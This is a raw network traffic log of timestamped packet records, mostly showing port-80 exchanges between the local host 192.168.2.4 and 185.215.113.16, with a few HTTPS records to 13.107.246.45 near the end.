Nov 18, 2024 21:04:16.128911018 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.128936052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.128968000 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.129935026 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.129968882 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.129992962 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.130014896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.131612062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.131647110 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.131675005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.131697893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.132808924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.132843971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.132870913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.132877111 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.132886887 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.132919073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.134210110 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.134243965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.134267092 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.134291887 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.135632038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.135664940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.135690928 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.135719061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.137726068 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.137828112 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.142627001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.142663956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.142682076 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.142709970 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.143491983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.143526077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.143549919 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.143569946 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.145217896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.145251989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.145279884 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.145302057 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.146210909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.146245956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.146261930 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.146296024 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.147819042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.147866964 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.147869110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.147926092 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.149521112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.149557114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.149621964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.149656057 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.152681112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.152714968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.152746916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.152780056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.157689095 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.157723904 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.157768965 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.157768965 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.160499096 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.160554886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.160562992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.160612106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.165822983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.165891886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.169600964 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.169660091 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.170104980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.170139074 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.170155048 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.170187950 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.171639919 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.171674967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.171704054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.171709061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.171725988 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.171751022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.172573090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.172621012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.172624111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.172682047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.174432039 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.174467087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.174493074 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.174530983 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.175509930 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.175544024 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.175566912 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.175595045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.179801941 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.179888964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.182372093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.182424068 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.182446003 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.182459116 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.182482004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.182503939 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.183366060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.183399916 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.183428049 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.183458090 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.184494019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.184528112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.184557915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.184590101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.188383102 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.188441992 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.189871073 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.189948082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.192852974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.192919016 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.196194887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.196269989 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.197285891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.197350025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.200330019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.200366020 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.200400114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.200400114 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.200428009 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.200445890 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.204849005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.204883099 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.204921961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.204921961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.209570885 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.209604979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.209628105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.209650993 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.211611986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.211647987 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.211678028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.211699963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.213629007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.213664055 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.213685989 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.213716030 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.215723991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.215759993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.215780973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.215805054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.217928886 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.217964888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.217979908 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.218012094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.220381021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.220429897 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.220447063 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.220477104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.231862068 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.231897116 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.232088089 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.234040976 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.234076023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.234108925 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.234110117 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.234137058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.234155893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.235920906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.235955954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.235971928 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.236000061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.236742973 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.236778021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.236793995 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.236820936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.237170935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.237210989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.237226009 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.237253904 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.238709927 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.238744974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.238768101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.238789082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.240200043 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.240233898 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.240250111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.240267038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.240276098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.240313053 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.246355057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.246388912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.246411085 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.246433973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.247391939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.247426033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.247442961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.247471094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.248987913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.249022007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.249038935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.249073029 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.250368118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.250401974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.250425100 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.250436068 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.250447035 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.250474930 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.251925945 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.251961946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.251987934 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.252017021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.255243063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.255276918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.255294085 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.255321980 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.257872105 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.257905960 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.257929087 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.257951021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.259051085 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.259085894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.259108067 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.259129047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.261769056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.261804104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.261831045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.261838913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.261847973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.261882067 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.265152931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.265187979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.265213966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.265235901 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.278382063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.278415918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.278558969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.281202078 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.281235933 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.281277895 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.281316996 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.282577038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.282612085 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.282644033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.282670021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.282694101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.283365011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.283400059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.283427000 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.283457041 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.286990881 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.287025928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.287090063 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.288610935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.288645983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.288686991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.288717985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.290417910 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.290452957 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.290486097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.290519953 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.290545940 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.291810989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.291846037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.291912079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.293113947 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.293148041 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.293184042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.293214083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.295265913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.295300007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.295317888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.295345068 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.300257921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.300292969 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.300328016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.300354004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.300386906 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.302490950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.302525043 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.302592993 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.304171085 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.304204941 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.304240942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.304274082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.322912931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.322973967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.323084116 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.323116064 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.323183060 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.323239088 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.323312998 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.323553085 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.323554039 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.323599100 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.323627949 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.324635983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.324671030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.324723959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.326311111 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.326345921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.326379061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.326411963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.327100992 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.327163935 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.327239037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.327270031 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.327272892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.327305079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.327358961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.327359915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.327359915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.327491999 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.327528000 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.328864098 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.328897953 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.328933954 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.328963995 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.331228971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.331264019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.331306934 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.331356049 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.333343029 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.333376884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.333432913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.336149931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.336185932 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.336210966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.336232901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.336267948 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.336289883 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.339997053 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.340065002 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.340135098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.342010975 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.342026949 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.342120886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.345247030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.345263958 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.345330954 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.347067118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.347084045 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.347112894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.347146034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.349531889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.349549055 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.349564075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.349601984 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.349633932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.351649046 CET	80	49818	185.215.113.16	192.168.2.4
